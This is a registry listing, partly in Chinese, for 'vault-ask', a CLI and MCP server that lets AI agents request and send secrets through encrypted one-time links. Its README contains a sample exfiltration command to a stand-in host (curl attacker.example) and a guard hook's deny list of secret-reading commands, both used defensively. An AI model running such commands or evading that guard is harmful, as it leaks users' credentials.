vault-ask

com.erseni由 erseni.com 發布v0.2.1更新於 Oct 26, 2026

Request and send secrets for AI agents, end-to-end encrypted and never shown in the chat.

已驗證STDIO僅桌面開發者工具安全與監控

概覽

AI 產生的概覽

讓助理透過 Erseni Vault 以端對端加密方式向人索取密鑰,或把密鑰交給對方,值不會出現在對話中。

可以做什麼
  • 向人索取密鑰:依名稱請求多個值,寫入權限為 600 的 env 檔或檔案
  • 帶密鑰執行指令:把請求到的值傳給一條指令,回傳結束碼與已遮蔽的輸出
  • 向人傳送密鑰:產生或取用既有值,回傳一次性連結,也可同時寫入檔案、env 檔或指令
  • 兩步流程:第一次呼叫回傳連結與 request_id,再次呼叫會等待對方填寫
適用情境
當助理需要你提供密碼、API 金鑰或權杖,而你不想把它貼進對話時;或當它應透過一次性連結把產生的憑證交給你時。適合沒有 shell 但仍需執行指令或寫入含密鑰 env 檔的 MCP 用戶端。
執行需求
透過 npx 從 npm 套件以 stdio 在本機執行,需要 Node.js 20 或更新版本。Erseni Vault 帳號與環境變數 VAULT_ASK_API_KEY 為選用:沒有金鑰時每次請求需完成工作量證明,並依 IP 限速。可用 VAULT_ASK_SERVER 指定其他 vault 主機,且需要能連線該服務的網路。
安裝前請注意
值會交給助理選定的目標,遭操控的助理可能透過網路將其外洩;用途綁定與輸出遮蔽只能防誤操作,擋不住以同一系統使用者身分執行的惡意助理。依請求寫入的檔案會包含密鑰。送出的連結在被開啟一次之前等同於密鑰本身。API 金鑰只從 VAULT_ASK_API_KEY 讀取,用量計入方案額度。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 vault-ask,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

vault-ask

Give an AI agent a password or an API key without typing it into the chat, and let it give you one the same way. vault-ask asks a person for the value through Erseni Vault, receives it end-to-end encrypted, and hands it to exactly one destination. vault-ask send goes the other way: it generates a value, sends it to a person as a one-time link and can write the same value into the system that needs it. Neither prints the value.

bash
npm install -g @erseni/vault-ask

Or from this repository, without npm: npm install -g ./cli. Node.js 20 or newer, no dependencies.

Usage

bash
vault-ask DB_PASSWORD -- psql -h db.example.com -U app     # value only in the environment of this processvault-ask STRIPE_KEY SENTRY_DSN --env-file .env              # NAME=value lines, permissions 600vault-ask TLS_KEY --file certs/server.key                    # one value into one file, permissions 600

vault-ask prints a link on stderr. The agent shows it to you, you open it, see the command or path the value is meant for, and enter the value. Afterwards the agent only sees metadata:

vault-ask: DB_PASSWORD received, 32 characters, passed to the command

Several names in one call give one page with several fields. There is deliberately no destination that writes the value to stdout.

--env-file quotes every value so that node --env-file and dotenv read it back unchanged. A value no quoting can carry (single quotes, double quotes and backticks together, a carriage return, a trailing backslash next to single quotes or line breaks, several lines with backticks next to double quotes or a written \n) is refused before anything is written; request it again with --file or --.

Option
--server <url>Vault host, default $VAULT_ASK_SERVER or https://vault.erseni.com
--ttl <seconds>How long the link stays valid, default 3600

VAULT_ASK_API_KEY holds an API key from your Vault account (/account). With it, requests skip the proof of work, count against the limits of your plan and show up in your dashboard. There is no command line flag for the key, so it never lands in the process list or the shell history.

The exit code is the exit code of the command, 1 for a failed request and 2 for invalid arguments.

Sending a secret

bash
vault-ask send DB_PASSWORD --env-file .env                   # generate, write NAME=value, send the same value as a linkvault-ask send DB_PASSWORD -- ./scripts/set-db-password      # generate, pass it to one command, send the same valuevault-ask send --length 48 --charset symbols --label "Router admin"vault-ask send --from-env API_TOKEN --label "Staging token"  # send an existing value instead of a generated one

vault-ask send generates the value on this machine (32 letters and digits by default, --length and --charset alnum|symbols|hex), encrypts it with a fresh AES-256-GCM key exactly like the send page of Vault and prints a one-time link on stderr. The key travels only in the fragment (#k=), so the server stores ciphertext. The person opens the link once; afterwards it is used up. With --env-file, --file or -- <command> the same value also goes to that one destination, so the system and the link are guaranteed to hold the same value. The link is created first; if the command then fails, vault-ask says that the link holds a value the command may not have applied. --from-file and --from-env send an existing value as it is, including a trailing newline in a file.

vault-ask: give this link to the person, it shows the value once:https://vault.erseni.com/view/...#k=...vault-ask: the link is valid until 2026-10-02T09:00:00.000Zvault-ask: DB_PASSWORD, 32 characters, also written to /srv/app/.env (permissions 600)

The link is the value until it is opened: it belongs to the person it is meant for and nowhere else. --label (default: the name) is shown above the value, --ttl defaults to 86400 seconds. send is a subcommand, so a value called send cannot be requested with the short form.

What protects the value

  1. No plaintext on disk by default. -- keeps the value in the environment of one child process. Files are written only on request, with permissions 600.

  2. Masked output. vault-ask runs as the parent process and replaces the value in stdout and stderr of the command with ***, including its Base64, Base64url, URL, form and hex encodings and every line of a multi-line value. vault-ask X -- env shows X=***.

  3. Purpose binding. The command or path is fixed when the request is created and travels to the fill page in the URL fragment, which the server never sees. The page shows it before anything is entered and encrypts it together with the values. After decrypting, vault-ask compares it with what it was started for and refuses anything else, including different names. Running another command needs a new request, and with it a new look from the person. This is the only layer that also covers exfiltration over the network (-- curl attacker.example -d $X), which masking cannot see.

  4. A guard for Claude Code. vault-ask-guard is a PreToolUse hook. It denies reading the files vault-ask wrote (their paths are remembered in $XDG_STATE_HOME/vault-ask/written-paths.json, never their content), by name, through a shell glob or by a recursive search of a directory above them (grep -r, rg, find -exec, tar, cp -r, the Grep tool), and denies vault-ask, run_with_secret or send_secret with a shell, env, printenv, echo or printf as the command. It reads the command text without running it, so it catches accidents, not an agent that hides the path on purpose.

    json
    {    "hooks": {        "PreToolUse": [            { "matcher": "Bash|Read|Edit|MultiEdit|Write|Grep|Glob|NotebookEdit|mcp__vault-ask__run_with_secret|mcp__vault-ask__send_secret", "hooks": [{ "type": "command", "command": "vault-ask-guard" }] }        ]    }}
  5. The honest limit. Layers 1 to 4 catch accidents and make a manipulated agent visible. They do not make harmless an agent that runs under the same operating system user with a shell: it can read the memory and environment of processes it started. Complete protection needs privilege separation, with the secret held by a service under another user and the agent holding only a handle. See ../docs/THREAT-MODEL.md.

Known limits: the command runs without a terminal on stdout and stderr, so interactive programs lose their TTY there. While the live status stream is unreachable, vault-ask reconnects with exponential backoff and checks the request status before each attempt.

MCP server

vault-ask-mcp offers the same building blocks for environments without a shell.

bash
claude mcp add vault-ask -- vault-ask-mcpclaude mcp add vault-ask -- npx -y @erseni/vault-ask mcp

vault-ask mcp starts the same server as vault-ask-mcp, so npx needs no global installation.

json
{ "mcpServers": { "vault-ask": { "command": "vault-ask-mcp", "env": { "VAULT_ASK_API_KEY": "vak_..." } } } }
Tool
request_secretnames plus env_file or file: writes the values, permissions 600
run_with_secretnames plus command (argument list) and optional cwd: runs the command and returns its exit code and masked output
send_secretgenerates a value (length, charset) or takes from_file / from_env, returns only a one-time link; optional name plus env_file, file or command gets the same value

The server tells the agent in its initialize answer when to use which tool: generating or handing over a secret for the user is send_secret, needing one from the user is request_secret or run_with_secret, and a secret is never typed into or printed in the chat. Claude Code loads tool descriptions only on demand, so these instructions are what an agent sees from the start of a session without any memory or CLAUDE.md of its own. Each tool description repeats the same trigger in the user's words.

request_secret and run_with_secret work in two calls. The first returns the link and a request_id; the agent shows the link, then calls again with the request_id. The second call waits up to four minutes and asks to be called again if nobody has answered yet. The command or path cannot be changed in the second call.

Limits on Erseni Vault

Sent links and requests share one daily count.

Requests and sent links
Without an account3 per minute per IP, with proof of work
Free, with API key50 per day
Pro500 per day
Businessunlimited, technical cap of 60 per minute

Development

bash
npm test

License

AGPL-3.0-or-later.

來源:cli/README.md,提交 832c8ff

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

2
  1. v0.2.1最新Oct 20, 2026
  2. v0.2.0Oct 19, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分